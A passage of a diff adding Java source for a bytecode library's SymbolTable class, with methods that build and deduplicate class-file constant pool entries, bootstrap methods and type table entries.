Symbol.CONSTANT_LONG_TAG || itemTag == Symbol.CONSTANT_DOUBLE_TAG) ? 2 : 1; + } + + // Copy the BootstrapMethods, if any. + if (hasBootstrapMethods) { + copyBootstrapMethods(classReader, charBuffer); + } + } + + /** + * Read the BootstrapMethods 'bootstrap_methods' array binary content and add them as entries of + * the SymbolTable. + * + * @param classReader the ClassReader whose bootstrap methods must be copied to initialize the + * SymbolTable. + * @param charBuffer a buffer used to read strings in the constant pool. + */ + private void copyBootstrapMethods(final ClassReader classReader, final char[] charBuffer) { + // Find attributOffset of the 'bootstrap_methods' array. + byte[] inputBytes = classReader.b; + int currentAttributeOffset = classReader.getFirstAttributeOffset(); + for (int i = classReader.readUnsignedShort(currentAttributeOffset - 2); i > 0; --i) { + String attributeName = classReader.readUTF8(currentAttributeOffset, charBuffer); + if (Constants.BOOTSTRAP_METHODS.equals(attributeName)) { + bootstrapMethodCount = classReader.readUnsignedShort(currentAttributeOffset + 6); + break; + } + currentAttributeOffset += 6 + classReader.readInt(currentAttributeOffset + 2); + } + if (bootstrapMethodCount > 0) { + // Compute the offset and the length of the BootstrapMethods 'bootstrap_methods' array. + int bootstrapMethodsOffset = currentAttributeOffset + 8; + int bootstrapMethodsLength = classReader.readInt(currentAttributeOffset + 2) - 2; + bootstrapMethods = new ByteVector(bootstrapMethodsLength); + bootstrapMethods.putByteArray(inputBytes, bootstrapMethodsOffset, bootstrapMethodsLength); + + // Add each bootstrap method in the symbol table entries. + int currentOffset = bootstrapMethodsOffset; + for (int i = 0; i < bootstrapMethodCount; i++) { + int offset = currentOffset - bootstrapMethodsOffset; + int bootstrapMethodRef = classReader.readUnsignedShort(currentOffset); + currentOffset += 2; + int numBootstrapArguments = classReader.readUnsignedShort(currentOffset); + currentOffset += 2; + int hashCode = classReader.readConst(bootstrapMethodRef, charBuffer).hashCode(); + while (numBootstrapArguments-- > 0) { + int bootstrapArgument = classReader.readUnsignedShort(currentOffset); + currentOffset += 2; + hashCode ^= classReader.readConst(bootstrapArgument, charBuffer).hashCode(); + } + add(new Entry(i, Symbol.BOOTSTRAP_METHOD_TAG, offset, hashCode & 0x7FFFFFFF)); + } + } + } + + /** + * Returns the ClassReader from which this SymbolTable was constructed. + * + * @return the ClassReader from which this SymbolTable was constructed, or {@literal null} if it + * was constructed from scratch. + */ + ClassReader getSource() { + return sourceClassReader; + } + + /** + * Returns the major version of the class to which this symbol table belongs. + * + * @return the major version of the class to which this symbol table belongs. + */ + int getMajorVersion() { + return majorVersion; + } + + /** + * Returns the internal name of the class to which this symbol table belongs. + * + * @return the internal name of the class to which this symbol table belongs. + */ + String getClassName() { + return className; + } + + /** + * Sets the major version and the name of the class to which this symbol table belongs. Also adds + * the class name to the constant pool. + * + * @param majorVersion a major ClassFile version number. + * @param className an internal class name. + * @return the constant pool index of a new or already existing Symbol with the given class name. + */ + int setMajorVersionAndClassName(final int majorVersion, final String className) { + this.majorVersion = majorVersion; + this.className = className; + return addConstantClass(className).index; + } + + /** + * Returns the number of items in this symbol table's constant_pool array (plus 1). + * + * @return the number of items in this symbol table's constant_pool array (plus 1). + */ + int getConstantPoolCount() { + return constantPoolCount; + } + + /** + * Returns the length in bytes of this symbol table's constant_pool array. + * + * @return the length in bytes of this symbol table's constant_pool array. + */ + int getConstantPoolLength() { + return constantPool.length; + } + + /** + * Puts this symbol table's constant_pool array in the given ByteVector, preceded by the + * constant_pool_count value. + * + * @param output where the JVMS ClassFile's constant_pool array must be put. + */ + void putConstantPool(final ByteVector output) { + output.putShort(constantPoolCount).putByteArray(constantPool.data, 0, constantPool.length); + } + + /** + * Returns the size in bytes of this symbol table's BootstrapMethods attribute. Also adds the + * attribute name in the constant pool. + * + * @return the size in bytes of this symbol table's BootstrapMethods attribute. + */ + int computeBootstrapMethodsSize() { + if (bootstrapMethods != null) { + addConstantUtf8(Constants.BOOTSTRAP_METHODS); + return 8 + bootstrapMethods.length; + } else { + return 0; + } + } + + /** + * Puts this symbol table's BootstrapMethods attribute in the given ByteVector. This includes the + * 6 attribute header bytes and the num_bootstrap_methods value. + * + * @param output where the JVMS BootstrapMethods attribute must be put. + */ + void putBootstrapMethods(final ByteVector output) { + if (bootstrapMethods != null) { + output + .putShort(addConstantUtf8(Constants.BOOTSTRAP_METHODS)) + .putInt(bootstrapMethods.length + 2) + .putShort(bootstrapMethodCount) + .putByteArray(bootstrapMethods.data, 0, bootstrapMethods.length); + } + } + + // ----------------------------------------------------------------------------------------------- + // Generic symbol table entries management. + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the list of entries which can potentially have the given hash code. + * + * @param hashCode a {@link Entry#hashCode} value. + * @return the list of entries which can potentially have the given hash code. The list is stored + * via the {@link Entry#next} field. + */ + private Entry get(final int hashCode) { + return entries[hashCode % entries.length]; + } + + /** + * Puts the given entry in the {@link #entries} hash set. This method does not check + * whether {@link #entries} already contains a similar entry or not. {@link #entries} is resized + * if necessary to avoid hash collisions (multiple entries needing to be stored at the same {@link + * #entries} array index) as much as possible, with reasonable memory usage. + * + * @param entry an Entry (which must not already be contained in {@link #entries}). + * @return the given entry + */ + private Entry put(final Entry entry) { + if (entryCount > (entries.length * 3) / 4) { + int currentCapacity = entries.length; + int newCapacity = currentCapacity * 2 + 1; + Entry[] newEntries = new Entry[newCapacity]; + for (int i = currentCapacity - 1; i >= 0; --i) { + Entry currentEntry = entries[i]; + while (currentEntry != null) { + int newCurrentEntryIndex = currentEntry.hashCode % newCapacity; + Entry nextEntry = currentEntry.next; + currentEntry.next = newEntries[newCurrentEntryIndex]; + newEntries[newCurrentEntryIndex] = currentEntry; + currentEntry = nextEntry; + } + } + entries = newEntries; + } + entryCount++; + int index = entry.hashCode % entries.length; + entry.next = entries[index]; + return entries[index] = entry; + } + + /** + * Adds the given entry in the {@link #entries} hash set. This method does not check + * whether {@link #entries} already contains a similar entry or not, and does not resize + * {@link #entries} if necessary. + * + * @param entry an Entry (which must not already be contained in {@link #entries}). + */ + private void add(final Entry entry) { + entryCount++; + int index = entry.hashCode % entries.length; + entry.next = entries[index]; + entries[index] = entry; + } + + // ----------------------------------------------------------------------------------------------- + // Constant pool entries management. + // ----------------------------------------------------------------------------------------------- + + /** + * Adds a number or string constant to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value the value of the constant to be added to the constant pool. This parameter must be + * an {@link Integer}, {@link Byte}, {@link Character}, {@link Short}, {@link Boolean}, {@link + * Float}, {@link Long}, {@link Double}, {@link String}, {@link Type} or {@link Handle}. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstant(final Object value) { + if (value instanceof Integer) { + return addConstantInteger(((Integer) value).intValue()); + } else if (value instanceof Byte) { + return addConstantInteger(((Byte) value).intValue()); + } else if (value instanceof Character) { + return addConstantInteger(((Character) value).charValue()); + } else if (value instanceof Short) { + return addConstantInteger(((Short) value).intValue()); + } else if (value instanceof Boolean) { + return addConstantInteger(((Boolean) value).booleanValue() ? 1 : 0); + } else if (value instanceof Float) { + return addConstantFloat(((Float) value).floatValue()); + } else if (value instanceof Long) { + return addConstantLong(((Long) value).longValue()); + } else if (value instanceof Double) { + return addConstantDouble(((Double) value).doubleValue()); + } else if (value instanceof String) { + return addConstantString((String) value); + } else if (value instanceof Type) { + Type type = (Type) value; + int typeSort = type.getSort(); + if (typeSort == Type.OBJECT) { + return addConstantClass(type.getInternalName()); + } else if (typeSort == Type.METHOD) { + return addConstantMethodType(type.getDescriptor()); + } else { // type is a primitive or array type. + return addConstantClass(type.getDescriptor()); + } + } else if (value instanceof Handle) { + Handle handle = (Handle) value; + return addConstantMethodHandle( + handle.getTag(), + handle.getOwner(), + handle.getName(), + handle.getDesc(), + handle.isInterface()); + } else if (value instanceof ConstantDynamic) { + ConstantDynamic constantDynamic = (ConstantDynamic) value; + return addConstantDynamic( + constantDynamic.getName(), + constantDynamic.getDescriptor(), + constantDynamic.getBootstrapMethod(), + constantDynamic.getBootstrapMethodArgumentsUnsafe()); + } else { + throw new IllegalArgumentException("value " + value); + } + } + + /** + * Adds a CONSTANT_Class_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value the internal name of a class. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantClass(final String value) { + return addConstantUtf8Reference(Symbol.CONSTANT_CLASS_TAG, value); + } + + /** + * Adds a CONSTANT_Fieldref_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param owner the internal name of a class. + * @param name a field name. + * @param descriptor a field descriptor. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantFieldref(final String owner, final String name, final String descriptor) { + return addConstantMemberReference(Symbol.CONSTANT_FIELDREF_TAG, owner, name, descriptor); + } + + /** + * Adds a CONSTANT_Methodref_info or CONSTANT_InterfaceMethodref_info to the constant pool of this + * symbol table. Does nothing if the constant pool already contains a similar item. + * + * @param owner the internal name of a class. + * @param name a method name. + * @param descriptor a method descriptor. + * @param isInterface whether owner is an interface or not. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantMethodref( + final String owner, final String name, final String descriptor, final boolean isInterface) { + int tag = isInterface ? Symbol.CONSTANT_INTERFACE_METHODREF_TAG : Symbol.CONSTANT_METHODREF_TAG; + return addConstantMemberReference(tag, owner, name, descriptor); + } + + /** + * Adds a CONSTANT_Fieldref_info, CONSTANT_Methodref_info or CONSTANT_InterfaceMethodref_info to + * the constant pool of this symbol table. Does nothing if the constant pool already contains a + * similar item. + * + * @param tag one of {@link Symbol#CONSTANT_FIELDREF_TAG}, {@link Symbol#CONSTANT_METHODREF_TAG} + * or {@link Symbol#CONSTANT_INTERFACE_METHODREF_TAG}. + * @param owner the internal name of a class. + * @param name a field or method name. + * @param descriptor a field or method descriptor. + * @return a new or already existing Symbol with the given value. + */ + private Entry addConstantMemberReference( + final int tag, final String owner, final String name, final String descriptor) { + int hashCode = hash(tag, owner, name, descriptor); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag + && entry.hashCode == hashCode + && entry.owner.equals(owner) + && entry.name.equals(name) + && entry.value.equals(descriptor)) { + return entry; + } + entry = entry.next; + } + constantPool.put122( + tag, addConstantClass(owner).index, addConstantNameAndType(name, descriptor)); + return put(new Entry(constantPoolCount++, tag, owner, name, descriptor, 0, hashCode)); + } + + /** + * Adds a new CONSTANT_Fieldref_info, CONSTANT_Methodref_info or CONSTANT_InterfaceMethodref_info + * to the constant pool of this symbol table. + * + * @param index the constant pool index of the new Symbol. + * @param tag one of {@link Symbol#CONSTANT_FIELDREF_TAG}, {@link Symbol#CONSTANT_METHODREF_TAG} + * or {@link Symbol#CONSTANT_INTERFACE_METHODREF_TAG}. + * @param owner the internal name of a class. + * @param name a field or method name. + * @param descriptor a field or method descriptor. + */ + private void addConstantMemberReference( + final int index, + final int tag, + final String owner, + final String name, + final String descriptor) { + add(new Entry(index, tag, owner, name, descriptor, 0, hash(tag, owner, name, descriptor))); + } + + /** + * Adds a CONSTANT_String_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value a string. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantString(final String value) { + return addConstantUtf8Reference(Symbol.CONSTANT_STRING_TAG, value); + } + + /** + * Adds a CONSTANT_Integer_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value an int. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantInteger(final int value) { + return addConstantIntegerOrFloat(Symbol.CONSTANT_INTEGER_TAG, value); + } + + /** + * Adds a CONSTANT_Float_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value a float. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantFloat(final float value) { + return addConstantIntegerOrFloat(Symbol.CONSTANT_FLOAT_TAG, Float.floatToRawIntBits(value)); + } + + /** + * Adds a CONSTANT_Integer_info or CONSTANT_Float_info to the constant pool of this symbol table. + * Does nothing if the constant pool already contains a similar item. + * + * @param tag one of {@link Symbol#CONSTANT_INTEGER_TAG} or {@link Symbol#CONSTANT_FLOAT_TAG}. + * @param value an int or float. + * @return a constant pool constant with the given tag and primitive values. + */ + private Symbol addConstantIntegerOrFloat(final int tag, final int value) { + int hashCode = hash(tag, value); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag && entry.hashCode == hashCode && entry.data == value) { + return entry; + } + entry = entry.next; + } + constantPool.putByte(tag).putInt(value); + return put(new Entry(constantPoolCount++, tag, value, hashCode)); + } + + /** + * Adds a new CONSTANT_Integer_info or CONSTANT_Float_info to the constant pool of this symbol + * table. + * + * @param index the constant pool index of the new Symbol. + * @param tag one of {@link Symbol#CONSTANT_INTEGER_TAG} or {@link Symbol#CONSTANT_FLOAT_TAG}. + * @param value an int or float. + */ + private void addConstantIntegerOrFloat(final int index, final int tag, final int value) { + add(new Entry(index, tag, value, hash(tag, value))); + } + + /** + * Adds a CONSTANT_Long_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value a long. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantLong(final long value) { + return addConstantLongOrDouble(Symbol.CONSTANT_LONG_TAG, value); + } + + /** + * Adds a CONSTANT_Double_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value a double. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantDouble(final double value) { + return addConstantLongOrDouble(Symbol.CONSTANT_DOUBLE_TAG, Double.doubleToRawLongBits(value)); + } + + /** + * Adds a CONSTANT_Long_info or CONSTANT_Double_info to the constant pool of this symbol table. + * Does nothing if the constant pool already contains a similar item. + * + * @param tag one of {@link Symbol#CONSTANT_LONG_TAG} or {@link Symbol#CONSTANT_DOUBLE_TAG}. + * @param value a long or double. + * @return a constant pool constant with the given tag and primitive values. + */ + private Symbol addConstantLongOrDouble(final int tag, final long value) { + int hashCode = hash(tag, value); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag && entry.hashCode == hashCode && entry.data == value) { + return entry; + } + entry = entry.next; + } + int index = constantPoolCount; + constantPool.putByte(tag).putLong(value); + constantPoolCount += 2; + return put(new Entry(index, tag, value, hashCode)); + } + + /** + * Adds a new CONSTANT_Long_info or CONSTANT_Double_info to the constant pool of this symbol + * table. + * + * @param index the constant pool index of the new Symbol. + * @param tag one of {@link Symbol#CONSTANT_LONG_TAG} or {@link Symbol#CONSTANT_DOUBLE_TAG}. + * @param value a long or double. + */ + private void addConstantLongOrDouble(final int index, final int tag, final long value) { + add(new Entry(index, tag, value, hash(tag, value))); + } + + /** + * Adds a CONSTANT_NameAndType_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param name a field or method name. + * @param descriptor a field or method descriptor. + * @return a new or already existing Symbol with the given value. + */ + int addConstantNameAndType(final String name, final String descriptor) { + final int tag = Symbol.CONSTANT_NAME_AND_TYPE_TAG; + int hashCode = hash(tag, name, descriptor); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag + && entry.hashCode == hashCode + && entry.name.equals(name) + && entry.value.equals(descriptor)) { + return entry.index; + } + entry = entry.next; + } + constantPool.put122(tag, addConstantUtf8(name), addConstantUtf8(descriptor)); + return put(new Entry(constantPoolCount++, tag, name, descriptor, hashCode)).index; + } + + /** + * Adds a new CONSTANT_NameAndType_info to the constant pool of this symbol table. + * + * @param index the constant pool index of the new Symbol. + * @param name a field or method name. + * @param descriptor a field or method descriptor. + */ + private void addConstantNameAndType(final int index, final String name, final String descriptor) { + final int tag = Symbol.CONSTANT_NAME_AND_TYPE_TAG; + add(new Entry(index, tag, name, descriptor, hash(tag, name, descriptor))); + } + + /** + * Adds a CONSTANT_Utf8_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param value a string. + * @return a new or already existing Symbol with the given value. + */ + int addConstantUtf8(final String value) { + int hashCode = hash(Symbol.CONSTANT_UTF8_TAG, value); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.CONSTANT_UTF8_TAG + && entry.hashCode == hashCode + && entry.value.equals(value)) { + return entry.index; + } + entry = entry.next; + } + constantPool.putByte(Symbol.CONSTANT_UTF8_TAG).putUTF8(value); + return put(new Entry(constantPoolCount++, Symbol.CONSTANT_UTF8_TAG, value, hashCode)).index; + } + + /** + * Adds a new CONSTANT_String_info to the constant pool of this symbol table. + * + * @param index the constant pool index of the new Symbol. + * @param value a string. + */ + private void addConstantUtf8(final int index, final String value) { + add(new Entry(index, Symbol.CONSTANT_UTF8_TAG, value, hash(Symbol.CONSTANT_UTF8_TAG, value))); + } + + /** + * Adds a CONSTANT_MethodHandle_info to the constant pool of this symbol table. Does nothing if + * the constant pool already contains a similar item. + * + * @param referenceKind one of {@link Opcodes#H_GETFIELD}, {@link Opcodes#H_GETSTATIC}, {@link + * Opcodes#H_PUTFIELD}, {@link Opcodes#H_PUTSTATIC}, {@link Opcodes#H_INVOKEVIRTUAL}, {@link + * Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, {@link + * Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of a class of interface. + * @param name a field or method name. + * @param descriptor a field or method descriptor. + * @param isInterface whether owner is an interface or not. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantMethodHandle( + final int referenceKind, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + final int tag = Symbol.CONSTANT_METHOD_HANDLE_TAG; + // Note that we don't need to include isInterface in the hash computation, because it is + // redundant with owner (we can't have the same owner with different isInterface values). + int hashCode = hash(tag, owner, name, descriptor, referenceKind); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag + && entry.hashCode == hashCode + && entry.data == referenceKind + && entry.owner.equals(owner) + && entry.name.equals(name) + && entry.value.equals(descriptor)) { + return entry; + } + entry = entry.next; + } + if (referenceKind <= Opcodes.H_PUTSTATIC) { + constantPool.put112(tag, referenceKind, addConstantFieldref(owner, name, descriptor).index); + } else { + constantPool.put112( + tag, referenceKind, addConstantMethodref(owner, name, descriptor, isInterface).index); + } + return put( + new Entry(constantPoolCount++, tag, owner, name, descriptor, referenceKind, hashCode)); + } + + /** + * Adds a new CONSTANT_MethodHandle_info to the constant pool of this symbol table. + * + * @param index the constant pool index of the new Symbol. + * @param referenceKind one of {@link Opcodes#H_GETFIELD}, {@link Opcodes#H_GETSTATIC}, {@link + * Opcodes#H_PUTFIELD}, {@link Opcodes#H_PUTSTATIC}, {@link Opcodes#H_INVOKEVIRTUAL}, {@link + * Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, {@link + * Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of a class of interface. + * @param name a field or method name. + * @param descriptor a field or method descriptor. + */ + private void addConstantMethodHandle( + final int index, + final int referenceKind, + final String owner, + final String name, + final String descriptor) { + final int tag = Symbol.CONSTANT_METHOD_HANDLE_TAG; + int hashCode = hash(tag, owner, name, descriptor, referenceKind); + add(new Entry(index, tag, owner, name, descriptor, referenceKind, hashCode)); + } + + /** + * Adds a CONSTANT_MethodType_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param methodDescriptor a method descriptor. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantMethodType(final String methodDescriptor) { + return addConstantUtf8Reference(Symbol.CONSTANT_METHOD_TYPE_TAG, methodDescriptor); + } + + /** + * Adds a CONSTANT_Dynamic_info to the constant pool of this symbol table. Also adds the related + * bootstrap method to the BootstrapMethods of this symbol table. Does nothing if the constant + * pool already contains a similar item. + * + * @param name a method name. + * @param descriptor a field descriptor. + * @param bootstrapMethodHandle a bootstrap method handle. + * @param bootstrapMethodArguments the bootstrap method arguments. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantDynamic( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + Symbol bootstrapMethod = addBootstrapMethod(bootstrapMethodHandle, bootstrapMethodArguments); + return addConstantDynamicOrInvokeDynamicReference( + Symbol.CONSTANT_DYNAMIC_TAG, name, descriptor, bootstrapMethod.index); + } + + /** + * Adds a CONSTANT_InvokeDynamic_info to the constant pool of this symbol table. Also adds the + * related bootstrap method to the BootstrapMethods of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param name a method name. + * @param descriptor a method descriptor. + * @param bootstrapMethodHandle a bootstrap method handle. + * @param bootstrapMethodArguments the bootstrap method arguments. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantInvokeDynamic( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + Symbol bootstrapMethod = addBootstrapMethod(bootstrapMethodHandle, bootstrapMethodArguments); + return addConstantDynamicOrInvokeDynamicReference( + Symbol.CONSTANT_INVOKE_DYNAMIC_TAG, name, descriptor, bootstrapMethod.index); + } + + /** + * Adds a CONSTANT_Dynamic or a CONSTANT_InvokeDynamic_info to the constant pool of this symbol + * table. Does nothing if the constant pool already contains a similar item. + * + * @param tag one of {@link Symbol#CONSTANT_DYNAMIC_TAG} or {@link + * Symbol#CONSTANT_INVOKE_DYNAMIC_TAG}. + * @param name a method name. + * @param descriptor a field descriptor for CONSTANT_DYNAMIC_TAG) or a method descriptor for + * CONSTANT_INVOKE_DYNAMIC_TAG. + * @param bootstrapMethodIndex the index of a bootstrap method in the BootstrapMethods attribute. + * @return a new or already existing Symbol with the given value. + */ + private Symbol addConstantDynamicOrInvokeDynamicReference( + final int tag, final String name, final String descriptor, final int bootstrapMethodIndex) { + int hashCode = hash(tag, name, descriptor, bootstrapMethodIndex); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag + && entry.hashCode == hashCode + && entry.data == bootstrapMethodIndex + && entry.name.equals(name) + && entry.value.equals(descriptor)) { + return entry; + } + entry = entry.next; + } + constantPool.put122(tag, bootstrapMethodIndex, addConstantNameAndType(name, descriptor)); + return put( + new Entry( + constantPoolCount++, tag, null, name, descriptor, bootstrapMethodIndex, hashCode)); + } + + /** + * Adds a new CONSTANT_Dynamic_info or CONSTANT_InvokeDynamic_info to the constant pool of this + * symbol table. + * + * @param tag one of {@link Symbol#CONSTANT_DYNAMIC_TAG} or {@link + * Symbol#CONSTANT_INVOKE_DYNAMIC_TAG}. + * @param index the constant pool index of the new Symbol. + * @param name a method name. + * @param descriptor a field descriptor for CONSTANT_DYNAMIC_TAG or a method descriptor for + * CONSTANT_INVOKE_DYNAMIC_TAG. + * @param bootstrapMethodIndex the index of a bootstrap method in the BootstrapMethods attribute. + */ + private void addConstantDynamicOrInvokeDynamicReference( + final int tag, + final int index, + final String name, + final String descriptor, + final int bootstrapMethodIndex) { + int hashCode = hash(tag, name, descriptor, bootstrapMethodIndex); + add(new Entry(index, tag, null, name, descriptor, bootstrapMethodIndex, hashCode)); + } + + /** + * Adds a CONSTANT_Module_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param moduleName a fully qualified name (using dots) of a module. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantModule(final String moduleName) { + return addConstantUtf8Reference(Symbol.CONSTANT_MODULE_TAG, moduleName); + } + + /** + * Adds a CONSTANT_Package_info to the constant pool of this symbol table. Does nothing if the + * constant pool already contains a similar item. + * + * @param packageName the internal name of a package. + * @return a new or already existing Symbol with the given value. + */ + Symbol addConstantPackage(final String packageName) { + return addConstantUtf8Reference(Symbol.CONSTANT_PACKAGE_TAG, packageName); + } + + /** + * Adds a CONSTANT_Class_info, CONSTANT_String_info, CONSTANT_MethodType_info, + * CONSTANT_Module_info or CONSTANT_Package_info to the constant pool of this symbol table. Does + * nothing if the constant pool already contains a similar item. + * + * @param tag one of {@link Symbol#CONSTANT_CLASS_TAG}, {@link Symbol#CONSTANT_STRING_TAG}, {@link + * Symbol#CONSTANT_METHOD_TYPE_TAG}, {@link Symbol#CONSTANT_MODULE_TAG} or {@link + * Symbol#CONSTANT_PACKAGE_TAG}. + * @param value an internal class name, an arbitrary string, a method descriptor, a module or a + * package name, depending on tag. + * @return a new or already existing Symbol with the given value. + */ + private Symbol addConstantUtf8Reference(final int tag, final String value) { + int hashCode = hash(tag, value); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == tag && entry.hashCode == hashCode && entry.value.equals(value)) { + return entry; + } + entry = entry.next; + } + constantPool.put12(tag, addConstantUtf8(value)); + return put(new Entry(constantPoolCount++, tag, value, hashCode)); + } + + /** + * Adds a new CONSTANT_Class_info, CONSTANT_String_info, CONSTANT_MethodType_info, + * CONSTANT_Module_info or CONSTANT_Package_info to the constant pool of this symbol table. + * + * @param index the constant pool index of the new Symbol. + * @param tag one of {@link Symbol#CONSTANT_CLASS_TAG}, {@link Symbol#CONSTANT_STRING_TAG}, {@link + * Symbol#CONSTANT_METHOD_TYPE_TAG}, {@link Symbol#CONSTANT_MODULE_TAG} or {@link + * Symbol#CONSTANT_PACKAGE_TAG}. + * @param value an internal class name, an arbitrary string, a method descriptor, a module or a + * package name, depending on tag. + */ + private void addConstantUtf8Reference(final int index, final int tag, final String value) { + add(new Entry(index, tag, value, hash(tag, value))); + } + + // ----------------------------------------------------------------------------------------------- + // Bootstrap method entries management. + // ----------------------------------------------------------------------------------------------- + + /** + * Adds a bootstrap method to the BootstrapMethods attribute of this symbol table. Does nothing if + * the BootstrapMethods already contains a similar bootstrap method. + * + * @param bootstrapMethodHandle a bootstrap method handle. + * @param bootstrapMethodArguments the bootstrap method arguments. + * @return a new or already existing Symbol with the given value. + */ + Symbol addBootstrapMethod( + final Handle bootstrapMethodHandle, final Object... bootstrapMethodArguments) { + ByteVector bootstrapMethodsAttribute = bootstrapMethods; + if (bootstrapMethodsAttribute == null) { + bootstrapMethodsAttribute = bootstrapMethods = new ByteVector(); + } + + // The bootstrap method arguments can be Constant_Dynamic values, which reference other + // bootstrap methods. We must therefore add the bootstrap method arguments to the constant pool + // and BootstrapMethods attribute first, so that the BootstrapMethods attribute is not modified + // while adding the given bootstrap method to it, in the rest of this method. + for (Object bootstrapMethodArgument : bootstrapMethodArguments) { + addConstant(bootstrapMethodArgument); + } + + // Write the bootstrap method in the BootstrapMethods table. This is necessary to be able to + // compare it with existing ones, and will be reverted below if there is already a similar + // bootstrap method. + int bootstrapMethodOffset = bootstrapMethodsAttribute.length; + bootstrapMethodsAttribute.putShort( + addConstantMethodHandle( + bootstrapMethodHandle.getTag(), + bootstrapMethodHandle.getOwner(), + bootstrapMethodHandle.getName(), + bootstrapMethodHandle.getDesc(), + bootstrapMethodHandle.isInterface()) + .index); + int numBootstrapArguments = bootstrapMethodArguments.length; + bootstrapMethodsAttribute.putShort(numBootstrapArguments); + for (Object bootstrapMethodArgument : bootstrapMethodArguments) { + bootstrapMethodsAttribute.putShort(addConstant(bootstrapMethodArgument).index); + } + + // Compute the length and the hash code of the bootstrap method. + int bootstrapMethodlength = bootstrapMethodsAttribute.length - bootstrapMethodOffset; + int hashCode = bootstrapMethodHandle.hashCode(); + for (Object bootstrapMethodArgument : bootstrapMethodArguments) { + hashCode ^= bootstrapMethodArgument.hashCode(); + } + hashCode &= 0x7FFFFFFF; + + // Add the bootstrap method to the symbol table or revert the above changes. + return addBootstrapMethod(bootstrapMethodOffset, bootstrapMethodlength, hashCode); + } + + /** + * Adds a bootstrap method to the BootstrapMethods attribute of this symbol table. Does nothing if + * the BootstrapMethods already contains a similar bootstrap method (more precisely, reverts the + * content of {@link #bootstrapMethods} to remove the last, duplicate bootstrap method). + * + * @param offset the offset of the last bootstrap method in {@link #bootstrapMethods}, in bytes. + * @param length the length of this bootstrap method in {@link #bootstrapMethods}, in bytes. + * @param hashCode the hash code of this bootstrap method. + * @return a new or already existing Symbol with the given value. + */ + private Symbol addBootstrapMethod(final int offset, final int length, final int hashCode) { + final byte[] bootstrapMethodsData = bootstrapMethods.data; + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.BOOTSTRAP_METHOD_TAG && entry.hashCode == hashCode) { + int otherOffset = (int) entry.data; + boolean isSameBootstrapMethod = true; + for (int i = 0; i < length; ++i) { + if (bootstrapMethodsData[offset + i] != bootstrapMethodsData[otherOffset + i]) { + isSameBootstrapMethod = false; + break; + } + } + if (isSameBootstrapMethod) { + bootstrapMethods.length = offset; // Revert to old position. + return entry; + } + } + entry = entry.next; + } + return put(new Entry(bootstrapMethodCount++, Symbol.BOOTSTRAP_METHOD_TAG, offset, hashCode)); + } + + // ----------------------------------------------------------------------------------------------- + // Type table entries management. + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the type table element whose index is given. + * + * @param typeIndex a type table index. + * @return the type table element whose index is given. + */ + Symbol getType(final int typeIndex) { + return typeTable[typeIndex]; + } + + /** + * Adds a type in the type table of this symbol table. Does nothing if the type table already + * contains a similar type. + * + * @param value an internal class name. + * @return the index of a new or already existing type Symbol with the given value. + */ + int addType(final String value) { + int hashCode = hash(Symbol.TYPE_TAG, value); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.TYPE_TAG && entry.hashCode == hashCode && entry.value.equals(value)) { + return entry.index; + } + entry = entry.next; + } + return addTypeInternal(new Entry(typeCount, Symbol.TYPE_TAG, value, hashCode)); + } + + /** + * Adds an {@link Frame#ITEM_UNINITIALIZED} type in the type table of this symbol table. Does + * nothing if the type table already contains a similar type. + * + * @param value an internal class name. + * @param bytecodeOffset the bytecode offset of the NEW instruction that created this {@link + * Frame#ITEM_UNINITIALIZED} type value. + * @return the index of a new or already existing type Symbol with the given value. + */ + int addUninitializedType(final String value, final int bytecodeOffset) { + int hashCode = 